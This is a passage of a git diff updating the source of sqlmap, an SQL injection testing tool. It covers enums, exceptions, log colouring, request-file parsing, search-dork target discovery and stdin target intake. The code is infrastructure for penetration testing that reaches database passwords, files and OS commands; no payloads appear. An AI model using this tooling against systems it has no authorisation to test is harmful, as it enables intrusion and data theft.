CONTENT_TYPE.SCHEMA, - "getCount": CONTENT_TYPE.COUNT, - "dumpTable": CONTENT_TYPE.DUMP_TABLE, - "search": CONTENT_TYPE.SEARCH, - "sqlQuery": CONTENT_TYPE.SQL_QUERY, - "tableExists": CONTENT_TYPE.COMMON_TABLES, - "columnExists": CONTENT_TYPE.COMMON_COLUMNS, - "readFile": CONTENT_TYPE.FILE_READ, - "writeFile": CONTENT_TYPE.FILE_WRITE, - "osCmd": CONTENT_TYPE.OS_CMD, - "regRead": CONTENT_TYPE.REG_READ -} - -class CONTENT_STATUS: + CFM = "cfm" + +class CONTENT_TYPE(object): + TARGET = 0 + TECHNIQUES = 1 + DBMS_FINGERPRINT = 2 + BANNER = 3 + CURRENT_USER = 4 + CURRENT_DB = 5 + HOSTNAME = 6 + IS_DBA = 7 + USERS = 8 + PASSWORDS = 9 + PRIVILEGES = 10 + ROLES = 11 + DBS = 12 + TABLES = 13 + COLUMNS = 14 + SCHEMA = 15 + COUNT = 16 + DUMP_TABLE = 17 + SEARCH = 18 + SQL_QUERY = 19 + COMMON_TABLES = 20 + COMMON_COLUMNS = 21 + FILE_READ = 22 + FILE_WRITE = 23 + OS_CMD = 24 + REG_READ = 25 + STATEMENTS = 26 + PROCEDURES = 27 + +class CONTENT_STATUS(object): IN_PROGRESS = 0 COMPLETE = 1 -class AUTH_TYPE: +class AUTH_TYPE(object): BASIC = "basic" DIGEST = "digest" + BEARER = "bearer" NTLM = "ntlm" + NEGOTIATE = "negotiate" PKI = "pki" -class AUTOCOMPLETE_TYPE: +class AUTOCOMPLETE_TYPE(object): SQL = 0 OS = 1 SQLMAP = 2 + API = 3 + +class NOTE(object): + FALSE_POSITIVE_OR_UNEXPLOITABLE = "false positive or unexploitable" + +class MKSTEMP_PREFIX(object): + HASHES = "sqlmaphashes-" + CRAWLER = "sqlmapcrawler-" + IPC = "sqlmapipc-" + CONFIG = "sqlmapconfig-" + TESTING = "sqlmaptesting-" + RESULTS = "sqlmapresults-" + COOKIE_JAR = "sqlmapcookiejar-" + BIG_ARRAY = "sqlmapbigarray-" + SPECIFIC_RESPONSE = "sqlmapresponse-" + PREPROCESS = "sqlmappreprocess-" + +class TIMEOUT_STATE(object): + NORMAL = 0 + EXCEPTION = 1 + TIMEOUT = 2 + +class HINT(object): + PREPEND = 0 + APPEND = 1 + +class FUZZ_UNION_COLUMN: + STRING = "" + INTEGER = "" + NULL = "NULL" + +class COLOR: + BLUE = "\033[34m" + BOLD_MAGENTA = "\033[35;1m" + BOLD_GREEN = "\033[32;1m" + BOLD_LIGHT_MAGENTA = "\033[95;1m" + LIGHT_GRAY = "\033[37m" + BOLD_RED = "\033[31;1m" + BOLD_LIGHT_GRAY = "\033[37;1m" + YELLOW = "\033[33m" + DARK_GRAY = "\033[90m" + BOLD_CYAN = "\033[36;1m" + LIGHT_RED = "\033[91m" + CYAN = "\033[36m" + MAGENTA = "\033[35m" + LIGHT_MAGENTA = "\033[95m" + LIGHT_GREEN = "\033[92m" + RESET = "\033[0m" + BOLD_DARK_GRAY = "\033[90;1m" + BOLD_LIGHT_YELLOW = "\033[93;1m" + BOLD_LIGHT_RED = "\033[91;1m" + BOLD_LIGHT_GREEN = "\033[92;1m" + LIGHT_YELLOW = "\033[93m" + BOLD_LIGHT_BLUE = "\033[94;1m" + BOLD_LIGHT_CYAN = "\033[96;1m" + LIGHT_BLUE = "\033[94m" + BOLD_WHITE = "\033[97;1m" + LIGHT_CYAN = "\033[96m" + BLACK = "\033[30m" + BOLD_YELLOW = "\033[33;1m" + BOLD_BLUE = "\033[34;1m" + GREEN = "\033[32m" + WHITE = "\033[97m" + BOLD_BLACK = "\033[30;1m" + RED = "\033[31m" + UNDERLINE = "\033[4m" + +class BACKGROUND: + BLUE = "\033[44m" + LIGHT_GRAY = "\033[47m" + YELLOW = "\033[43m" + DARK_GRAY = "\033[100m" + LIGHT_RED = "\033[101m" + CYAN = "\033[46m" + MAGENTA = "\033[45m" + LIGHT_MAGENTA = "\033[105m" + LIGHT_GREEN = "\033[102m" + RESET = "\033[0m" + LIGHT_YELLOW = "\033[103m" + LIGHT_BLUE = "\033[104m" + LIGHT_CYAN = "\033[106m" + BLACK = "\033[40m" + GREEN = "\033[42m" + WHITE = "\033[107m" + RED = "\033[41m" diff --git a/lib/core/exception.py b/lib/core/exception.py index faeff7c4128..4d111073dec 100644 --- a/lib/core/exception.py +++ b/lib/core/exception.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ class SqlmapBaseException(Exception): @@ -50,6 +50,9 @@ class SqlmapUserQuitException(SqlmapBaseException): class SqlmapShellQuitException(SqlmapBaseException): pass +class SqlmapSkipTargetException(SqlmapBaseException): + pass + class SqlmapSyntaxException(SqlmapBaseException): pass diff --git a/lib/core/log.py b/lib/core/log.py index 3d3328545f1..72e2028d191 100644 --- a/lib/core/log.py +++ b/lib/core/log.py @@ -1,11 +1,12 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import logging +import re import sys from lib.core.enums import CUSTOM_LOGGING @@ -20,6 +21,77 @@ try: from thirdparty.ansistrm.ansistrm import ColorizingStreamHandler + class _ColorizingStreamHandler(ColorizingStreamHandler): + def colorize(self, message, levelno, force=False): + if levelno in self.level_map and (self.is_tty or force): + bg, fg, bold = self.level_map[levelno] + params = [] + + if bg in self.color_map: + params.append(str(self.color_map[bg] + 40)) + + if fg in self.color_map: + params.append(str(self.color_map[fg] + 30)) + + if bold: + params.append('1') + + if params and message: + match = re.search(r"\A(\s+)", message) + prefix = match.group(1) if match else "" + message = message[len(prefix):] + + match = re.search(r"\[([A-Z ]+)\]", message) # log level + if match: + level = match.group(1) + if message.startswith(self.bold): + message = message.replace(self.bold, "") + reset = self.reset + self.bold + params.append('1') + else: + reset = self.reset + message = message.replace(level, ''.join((self.csi, ';'.join(params), 'm', level, reset)), 1) + + match = re.search(r"\A\s*\[([\d:]+)\]", message) # time + if match: + time = match.group(1) + message = message.replace(time, ''.join((self.csi, str(self.color_map["cyan"] + 30), 'm', time, self._reset(message))), 1) + + match = re.search(r"\[(#\d+)\]", message) # counter + if match: + counter = match.group(1) + message = message.replace(counter, ''.join((self.csi, str(self.color_map["yellow"] + 30), 'm', counter, self._reset(message))), 1) + + if level != "PAYLOAD": + if any(_ in message for _ in ("parsed DBMS error message",)): + match = re.search(r": '(.+)'", message) + if match: + string = match.group(1) + message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) + else: + match = re.search(r"\bresumed: '(.+\.\.\.)", message) + if match: + string = match.group(1) + message = message.replace("'%s" % string, "'%s" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) + else: + match = re.search(r" \('(.+)'\)\Z", message) or re.search(r"output: '(.+)'\Z", message) + if match: + string = match.group(1) + message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) + else: + for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted + string = match.group(1) + message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) + else: + message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset)) + + if prefix: + message = "%s%s" % (prefix, message) + + message = message.replace("%s]" % self.bold, "]%s" % self.bold) # dirty patch + + return message + disableColor = False for argument in sys.argv: @@ -30,7 +102,7 @@ if disableColor: LOGGER_HANDLER = logging.StreamHandler(sys.stdout) else: - LOGGER_HANDLER = ColorizingStreamHandler(sys.stdout) + LOGGER_HANDLER = _ColorizingStreamHandler(sys.stdout) LOGGER_HANDLER.level_map[logging.getLevelName("PAYLOAD")] = (None, "cyan", False) LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC OUT")] = (None, "magenta", False) LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC IN")] = ("magenta", None, False) diff --git a/lib/core/option.py b/lib/core/option.py index 6703ad49189..4c92f0e264e 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1,54 +1,51 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import cookielib +from __future__ import division + +import codecs +import collections +import functools import glob +import importlib import inspect +import json import logging -import httplib import os import random import re import socket -import string import sys import tempfile import threading import time -import urllib2 -import urlparse - -import lib.controller.checks -import lib.core.common -import lib.core.threads -import lib.core.convert -import lib.request.connect -import lib.utils.google +import traceback from lib.controller.checks import checkConnection from lib.core.common import Backend from lib.core.common import boldifyMessage from lib.core.common import checkFile from lib.core.common import dataToStdout -from lib.core.common import getPublicTypeMembers -from lib.core.common import getSafeExString -from lib.core.common import extractRegexResult -from lib.core.common import filterStringValue +from lib.core.common import decodeStringEscape +from lib.core.common import fetchRandomAgent +from lib.core.common import filterNone +from lib.core.common import findLocalPort from lib.core.common import findPageForms from lib.core.common import getConsoleWidth from lib.core.common import getFileItems from lib.core.common import getFileType -from lib.core.common import getUnicode -from lib.core.common import isListLike +from lib.core.common import getPublicTypeMembers +from lib.core.common import getSafeExString +from lib.core.common import intersect from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import openFile +from lib.core.common import parseRequestFile from lib.core.common import parseTargetDirect -from lib.core.common import parseTargetUrl from lib.core.common import paths from lib.core.common import randomStr from lib.core.common import readCachedFileContent @@ -56,12 +53,17 @@ from lib.core.common import resetCookieJar from lib.core.common import runningAsAdmin from lib.core.common import safeExpandUser +from lib.core.common import safeFilepathEncode +from lib.core.common import saveConfig +from lib.core.common import setColor from lib.core.common import setOptimize from lib.core.common import setPaths from lib.core.common import singleTimeWarnMessage -from lib.core.common import UnicodeRawConfigParser from lib.core.common import urldecode -from lib.core.convert import base64unpickle +from lib.core.compat import cmp +from lib.core.compat import round +from lib.core.compat import xrange +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -69,6 +71,8 @@ from lib.core.data import queries from lib.core.datatype import AttribDict from lib.core.datatype import InjectionDict +from lib.core.datatype import LRUDict +from lib.core.datatype import OrderedSet from lib.core.defaults import defaults from lib.core.dicts import DBMS_DICT from lib.core.dicts import DUMP_REPLACEMENTS @@ -76,8 +80,10 @@ from lib.core.enums import AUTH_TYPE from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import DUMP_FORMAT +from lib.core.enums import FORK from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD +from lib.core.enums import MKSTEMP_PREFIX from lib.core.enums import MOBILES from lib.core.enums import OPTION_TYPE from lib.core.enums import PAYLOAD @@ -86,32 +92,31 @@ from lib.core.enums import REFLECTIVE_COUNTER from lib.core.enums import WIZARD from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapInstallationException from lib.core.exception import SqlmapMissingDependence from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapMissingPrivileges -from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapSyntaxException from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapUnsupportedDBMSException from lib.core.exception import SqlmapUserQuitException +from lib.core.exception import SqlmapValueException from lib.core.log import FORMATTER from lib.core.optiondict import optDict -from lib.core.settings import BURP_REQUEST_REGEX -from lib.core.settings import BURP_XML_HISTORY_REGEX from lib.core.settings import CODECS_LIST_PAGE -from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DBMS_ALIASES +from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_PAGE_ENCODING from lib.core.settings import DEFAULT_TOR_HTTP_PORTS -from lib.core.settings import DEFAULT_TOR_SOCKS_PORT +from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS +from lib.core.settings import DEFAULT_USER_AGENT from lib.core.settings import DUMMY_URL -from lib.core.settings import IGNORE_SAVE_OPTIONS -from lib.core.settings import INJECT_HERE_MARK +from lib.core.settings import IGNORE_CODE_WILDCARD from lib.core.settings import IS_WIN from lib.core.settings import KB_CHARS_BOUNDARY_CHAR from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET @@ -120,275 +125,62 @@ from lib.core.settings import MAX_NUMBER_OF_THREADS from lib.core.settings import NULL from lib.core.settings import PARAMETER_SPLITTING_REGEX -from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS -from lib.core.settings import SITE +from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT +from lib.core.settings import PROXY_ENVIRONMENT_VARIABLES +from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import SUPPORTED_OS from lib.core.settings import TIME_DELAY_CANDIDATES -from lib.core.settings import UNION_CHAR_REGEX from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.core.settings import URI_INJECTABLE_REGEX -from lib.core.settings import VERSION_STRING -from lib.core.settings import WEBSCARAB_SPLITTER from lib.core.threads import getCurrentThreadData +from lib.core.threads import setDaemon from lib.core.update import update from lib.parse.configfile import configFileParser from lib.parse.payloads import loadBoundaries from lib.parse.payloads import loadPayloads -from lib.parse.sitemap import parseSitemap from lib.request.basic import checkCharEncoding +from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler +from lib.request.chunkedhandler import ChunkedHandler from lib.request.connect import Connect as Request from lib.request.dns import DNSServer -from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler +from lib.request.dns import InteractshDNSServer from lib.request.httpshandler import HTTPSHandler +from lib.request.keepalive import HTTPKeepAliveHandler +from lib.request.keepalive import HTTPSKeepAliveHandler from lib.request.pkihandler import HTTPSPKIAuthHandler from lib.request.rangehandler import HTTPRangeHandler from lib.request.redirecthandler import SmartRedirectHandler -from lib.request.templates import getPageTemplate from lib.utils.crawler import crawl from lib.utils.deps import checkDependencies -from lib.utils.google import Google +from lib.utils.har import HTTPCollectorFactory from lib.utils.purge import purge -from thirdparty.colorama.initialise import init as coloramainit -from thirdparty.keepalive import keepalive -from thirdparty.oset.pyoset import oset +from lib.utils.search import search +from thirdparty import six +from lib.request.multiparthandler import MultipartPostHandler +from thirdparty.six.moves import collections_abc as _collections +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import http_cookiejar as _http_cookiejar +from thirdparty.six.moves import urllib as _urllib from thirdparty.socks import socks from xml.etree.ElementTree import ElementTree -authHandler = urllib2.BaseHandler() +authHandler = _urllib.request.BaseHandler() +chunkedHandler = ChunkedHandler() httpsHandler = HTTPSHandler() -keepAliveHandler = keepalive.HTTPHandler() -proxyHandler = urllib2.ProxyHandler() +keepAliveHandler = HTTPKeepAliveHandler() +keepAliveHandlerHTTPS = HTTPSKeepAliveHandler() +proxyHandler = _urllib.request.ProxyHandler() redirectHandler = SmartRedirectHandler() rangeHandler = HTTPRangeHandler() +multipartPostHandler = MultipartPostHandler() -def _urllib2Opener(): - """ - This function creates the urllib2 OpenerDirector. - """ - - debugMsg = "creating HTTP requests opener object" - logger.debug(debugMsg) - - handlers = [proxyHandler, authHandler, redirectHandler, rangeHandler, httpsHandler] - - if not conf.dropSetCookie: - if not conf.loadCookies: - conf.cj = cookielib.CookieJar() - else: - conf.cj = cookielib.MozillaCookieJar() - resetCookieJar(conf.cj) - - handlers.append(urllib2.HTTPCookieProcessor(conf.cj)) - - # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html - if conf.keepAlive: - warnMsg = "persistent HTTP(s) connections, Keep-Alive, has " - warnMsg += "been disabled because of its incompatibility " - - if conf.proxy: - warnMsg += "with HTTP(s) proxy" - logger.warn(warnMsg) - elif conf.authType: - warnMsg += "with authentication methods" - logger.warn(warnMsg) - else: - handlers.append(keepAliveHandler) - - opener = urllib2.build_opener(*handlers) - urllib2.install_opener(opener) - -def _feedTargetsDict(reqFile, addedTargetUrls): - """ - Parses web scarab and burp logs and adds results to the target URL list - """ - - def _parseWebScarabLog(content): - """ - Parses web scarab logs (POST method not supported) - """ - - reqResList = content.split(WEBSCARAB_SPLITTER) - - for request in reqResList: - url = extractRegexResult(r"URL: (?P.+?)\n", request, re.I) - method = extractRegexResult(r"METHOD: (?P.+?)\n", request, re.I) - cookie = extractRegexResult(r"COOKIE: (?P.+?)\n", request, re.I) - - if not method or not url: - logger.debug("not a valid WebScarab log data") - continue - - if method.upper() == HTTPMETHOD.POST: - warnMsg = "POST requests from WebScarab logs aren't supported " - warnMsg += "as their body content is stored in separate files. " - warnMsg += "Nevertheless you can use -r to load them individually." - logger.warning(warnMsg) - continue - - if not(conf.scope and not re.search(conf.scope, url, re.I)): - if not kb.targets or url not in addedTargetUrls: - kb.targets.add((url, method, None, cookie, None)) - addedTargetUrls.add(url) - - def _parseBurpLog(content): - """ - Parses burp logs - """ - - if not re.search(BURP_REQUEST_REGEX, content, re.I | re.S): - if re.search(BURP_XML_HISTORY_REGEX, content, re.I | re.S): - reqResList = [] - for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S): - port, request = match.groups() - request = request.decode("base64") - _ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request) - if _: - host = _.group(0).strip() - if not re.search(r":\d+\Z", host): - request = request.replace(host, "%s:%d" % (host, int(port))) - reqResList.append(request) - else: - reqResList = [content] - else: - reqResList = re.finditer(BURP_REQUEST_REGEX, content, re.I | re.S) - - for match in reqResList: - request = match if isinstance(match, basestring) else match.group(0) - request = re.sub(r"\A[^\w]+", "", request) - - schemePort = re.search(r"(http[\w]*)\:\/\/.*?\:([\d]+).+?={10,}", request, re.I | re.S) - - if schemePort: - scheme = schemePort.group(1) - port = schemePort.group(2) - else: - scheme, port = None, None - - if not re.search(r"^[\n]*(%s).*?\sHTTP\/" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), request, re.I | re.M): - continue - - if re.search(r"^[\n]*%s.*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M): - continue - - getPostReq = False - url = None - host = None - method = None - data = None - cookie = None - params = False - newline = None - lines = request.split('\n') - headers = [] - - for index in xrange(len(lines)): - line = lines[index] - - if not line.strip() and index == len(lines) - 1: - break - - newline = "\r\n" if line.endswith('\r') else '\n' - line = line.strip('\r') - match = re.search(r"\A(%s) (.+) HTTP/[\d.]+\Z" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), line) if not method else None - - if len(line.strip()) == 0 and method and method != HTTPMETHOD.GET and data is None: - data = "" - params = True - - elif match: - method = match.group(1) - url = match.group(2) - - if any(_ in line for _ in ('?', '=', CUSTOM_INJECTION_MARK_CHAR)): - params = True - - getPostReq = True - - # POST parameters - elif data is not None and params: - data += "%s%s" % (line, newline) - - # GET parameters - elif "?" in line and "=" in line and ": " not in line: - params = True - - # Headers - elif re.search(r"\A\S+:", line): - key, value = line.split(":", 1) - value = value.strip().replace("\r", "").replace("\n", "") - - # Cookie and Host headers - if key.upper() == HTTP_HEADER.COOKIE.upper(): - cookie = value - elif key.upper() == HTTP_HEADER.HOST.upper(): - if '://' in value: - scheme, value = value.split('://')[:2] - splitValue = value.split(":") - host = splitValue[0] - - if len(splitValue) > 1: - port = filterStringValue(splitValue[1], "[0-9]") - - # Avoid to add a static content length header to - # headers and consider the following lines as - # POSTed data - if key.upper() == HTTP_HEADER.CONTENT_LENGTH.upper(): - params = True - - # Avoid proxy and connection type related headers - elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION): - headers.append((getUnicode(key), getUnicode(value))) - - if CUSTOM_INJECTION_MARK_CHAR in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""): - params = True - - data = data.rstrip("\r\n") if data else data - - if getPostReq and (params or cookie): - if not port and isinstance(scheme, basestring) and scheme.lower() == "https": - port = "443" - elif not scheme and port == "443": - scheme = "https" - - if conf.forceSSL: - scheme = "https" - port = port or "443" - - if not host: - errMsg = "invalid format of a request file" - raise SqlmapSyntaxException, errMsg - - if not url.startswith("http"): - url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url) - scheme = None - port = None - - if not(conf.scope and not re.search(conf.scope, url, re.I)): - if not kb.targets or url not in addedTargetUrls: - kb.targets.add((url, method, data, cookie, tuple(headers))) - addedTargetUrls.add(url) - - checkFile(reqFile) - try: - with openFile(reqFile, "rb") as f: - content = f.read() - except (IOError, OSError, MemoryError), ex: - errMsg = "something went wrong while trying " - errMsg += "to read the content of file '%s' ('%s')" % (reqFile, ex) - raise SqlmapSystemException(errMsg) - - if conf.scope: - logger.info("using regular expression '%s' for filtering targets" % conf.scope) - - _parseBurpLog(content) - _parseWebScarabLog(content) - - if not addedTargetUrls: - errMsg = "unable to find usable request(s) " - errMsg += "in provided file ('%s')" % reqFile - raise SqlmapGenericException(errMsg) +# Reference: https://mail.python.org/pipermail/python-list/2009-November/558615.html +try: + WindowsError +except NameError: + WindowsError = None def _loadQueries(): """ @@ -419,11 +211,11 @@ def __contains__(self, name): tree = ElementTree() try: tree.parse(paths.QUERIES_XML) - except Exception, ex: - errMsg = "something seems to be wrong with " - errMsg += "the file '%s' ('%s'). Please make " % (paths.QUERIES_XML, ex) + except Exception as ex: + errMsg = "something appears to be wrong with " + errMsg += "the file '%s' ('%s'). Please make " % (paths.QUERIES_XML, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" - raise SqlmapInstallationException, errMsg + raise SqlmapInstallationException(errMsg) for node in tree.findall("*"): queries[node.attrib['value']] = iterate(node) @@ -435,7 +227,7 @@ def _setMultipleTargets(): """ initialTargetsCount = len(kb.targets) - addedTargetUrls = set() + seen = set() if not conf.logFile: return @@ -447,18 +239,28 @@ def _setMultipleTargets(): errMsg = "the specified list of targets does not exist" raise SqlmapFilePathException(errMsg) - if os.path.isfile(conf.logFile): - _feedTargetsDict(conf.logFile, addedTargetUrls) + if checkFile(conf.logFile, False): + for target in parseRequestFile(conf.logFile): + url, _, data, _, _ = target + key = re.sub(r"(\w+=)[^%s ]*" % (conf.paramDel or DEFAULT_GET_POST_DELIMITER), r"\g<1>", "%s %s" % (url, data)) + if key not in seen: + kb.targets.add(target) + seen.add(key) elif os.path.isdir(conf.logFile): files = os.listdir(conf.logFile) files.sort() for reqFile in files: - if not re.search("([\d]+)\-request", reqFile): + if not re.search(r"([\d]+)\-request", reqFile): continue - _feedTargetsDict(os.path.join(conf.logFile, reqFile), addedTargetUrls) + for target in parseRequestFile(os.path.join(conf.logFile, reqFile)): + url, _, data, _, _ = target + key = re.sub(r"(\w+=)[^%s ]*" % (conf.paramDel or DEFAULT_GET_POST_DELIMITER), r"\g<1>", "%s %s" % (url, data)) + if key not in seen: + kb.targets.add(target) + seen.add(key) else: errMsg = "the specified list of targets is not a file " @@ -499,97 +301,90 @@ def _setRequestFromFile(): textual file, parses it and saves the information into the knowledge base. """ - if not conf.requestFile: - return + if conf.requestFile: + for requestFile in re.split(PARAMETER_SPLITTING_REGEX, conf.requestFile): + requestFile = safeExpandUser(requestFile) + url = None + seen = set() - addedTargetUrls = set() + if not checkFile(requestFile, False): + errMsg = "specified HTTP request file '%s' " % requestFile + errMsg += "does not exist" + raise SqlmapFilePathException(errMsg) - conf.requestFile = safeExpandUser(conf.requestFile) + infoMsg = "parsing HTTP request from '%s'" % requestFile + logger.info(infoMsg) - infoMsg = "parsing HTTP request from '%s'" % conf.requestFile - logger.info(infoMsg) + for target in parseRequestFile(requestFile): + url = target[0] + if url not in seen: + kb.targets.add(target) + if len(kb.targets) > 1: + conf.multipleTargets = True + seen.add(url) + + if url is None: + errMsg = "specified file '%s' " % requestFile + errMsg += "does not contain a usable HTTP request (with parameters)" + raise SqlmapDataException(errMsg) + + if conf.secondReq: + conf.secondReq = safeExpandUser(conf.secondReq) + + if not checkFile(conf.secondReq, False): + errMsg = "specified second-order HTTP request file '%s' " % conf.secondReq + errMsg += "does not exist" + raise SqlmapFilePathException(errMsg) - if not os.path.isfile(conf.requestFile): - errMsg = "the specified HTTP request file " - errMsg += "does not exist" - raise SqlmapFilePathException(errMsg) + infoMsg = "parsing second-order HTTP request from '%s'" % conf.secondReq + logger.info(infoMsg) - _feedTargetsDict(conf.requestFile, addedTargetUrls) + try: + target = next(parseRequestFile(conf.secondReq, False)) + kb.secondReq = target + except StopIteration: + errMsg = "specified second-order HTTP request file '%s' " % conf.secondReq + errMsg += "does not contain a valid HTTP request" + raise SqlmapDataException(errMsg) def _setCrawler(): if not conf.crawlDepth: return - if not any((conf.bulkFile, conf.sitemapUrl)): - crawl(conf.url) - else: - if conf.bulkFile: - targets = getFileItems(conf.bulkFile) - else: - targets = parseSitemap(conf.sitemapUrl) - for i in xrange(len(targets)): - try: - target = targets[i] - crawl(target) - - if conf.verbose in (1, 2): - status = "%d/%d links visited (%d%%)" % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets))) - dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True) - except Exception, ex: - errMsg = "problem occurred while crawling at '%s' ('%s')" % (target, ex) - logger.error(errMsg) + if not conf.bulkFile: + if conf.url: + crawl(conf.url) + elif conf.requestFile and kb.targets: + target = next(iter(kb.targets)) + crawl(target[0], target[2], target[3]) -def _setGoogleDorking(): +def _doSearch(): """ - This function checks if the way to request testable hosts is through - Google dorking then requests to Google the search parameter, parses - the results and save the testable hosts into the knowledge base. + This function performs search dorking, parses results + and saves the testable hosts into the knowledge base. """ if not conf.googleDork: return - global keepAliveHandler - global proxyHandler - - debugMsg = "initializing Google dorking requests" - logger.debug(debugMsg) - - infoMsg = "first request to Google to get the session cookie" - logger.info(infoMsg) - - handlers = [proxyHandler] - - # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html - if conf.keepAlive: - if conf.proxy: - warnMsg = "persistent HTTP(s) connections, Keep-Alive, has " - warnMsg += "been disabled because of its incompatibility " - warnMsg += "with HTTP(s) proxy" - logger.warn(warnMsg) - else: - handlers.append(keepAliveHandler) - - googleObj = Google(handlers) kb.data.onlyGETs = None def retrieve(): - links = googleObj.search(conf.googleDork) + links = search(conf.googleDork) if not links: errMsg = "unable to find results for your " - errMsg += "Google dork expression" + errMsg += "search dork expression" raise SqlmapGenericException(errMsg) for link in links: link = urldecode(link) - if re.search(r"(.*?)\?(.+)", link): + if re.search(r"(.*?)\?(.+)", link) or conf.forms: kb.targets.add((link, conf.method, conf.data, conf.cookie, None)) elif re.search(URI_INJECTABLE_REGEX, link, re.I): if kb.data.onlyGETs is None and conf.data is None and not conf.googleDork: message = "do you want to scan only results containing GET parameters? [Y/n] " - test = readInput(message, default="Y") - kb.data.onlyGETs = test.lower() != 'n' + kb.data.onlyGETs = readInput(message, default='Y', boolean=True) if not kb.data.onlyGETs or conf.googleDork: kb.targets.add((link, conf.method, conf.data, conf.cookie, None)) @@ -599,30 +394,79 @@ def retrieve(): links = retrieve() if kb.targets: - infoMsg = "sqlmap got %d results for your " % len(links) - infoMsg += "Google dork expression, " + infoMsg = "found %d results for your " % len(links) + infoMsg += "search dork expression" - if len(links) == len(kb.targets): - infoMsg += "all " - else: - infoMsg += "%d " % len(kb.targets) + if not conf.forms: + infoMsg += ", " + + if len(links) == len(kb.targets): + infoMsg += "all " + else: + infoMsg += "%d " % len(kb.targets) + + infoMsg += "of them are testable targets" - infoMsg += "of them are testable targets" logger.info(infoMsg) break else: - message = "sqlmap got %d results " % len(links) - message += "for your Google dork expression, but none of them " + message = "found %d results " % len(links) + message += "for your search dork expression, but none of them " message += "have GET parameters to test for SQL injection. " message += "Do you want to skip to the next result page? [Y/n]" - test = readInput(message, default="Y") - if test[0] in ("n", "N"): + if not readInput(message, default='Y', boolean=True): raise SqlmapSilentQuitException else: conf.googlePage += 1 +def _setStdinPipeTargets(): + if conf.url: + return + + if isinstance(conf.stdinPipe, _collections.Iterable): + infoMsg = "using 'STDIN' for parsing targets list" + logger.info(infoMsg) + + class _(object): + def __init__(self): + self.__rest = OrderedSet() + + def __iter__(self): + return self + + def __next__(self): + return self.next() + + def next(self): + while True: + try: + line = next(conf.stdinPipe) + except (IOError, OSError, TypeError, UnicodeDecodeError): + line = None + except StopIteration: + line = None + + if line: + match = re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I) + if match: + return (match.group(0), conf.method, conf.data, conf.cookie, None) + # Note: a non-empty line that is not a target (blank line, comment, + # non-parameterized URL) must be skipped, not treated as end-of-input + continue + + # end-of-input (or read error): drain any queued targets, then stop + if self.__rest: + return self.__rest.pop() + + raise StopIteration() + + def add(self, elem): + self.__rest.add(elem) + + kb.targets = _() + def _setBulkMultipleTargets(): if not conf.bulkFile: return @@ -632,37 +476,92 @@ def _setBulkMultipleTargets(): infoMsg = "parsing multiple targets list from '%s'" % conf.bulkFile logger.info(infoMsg) - if not os.path.isfile(conf.bulkFile): + if not 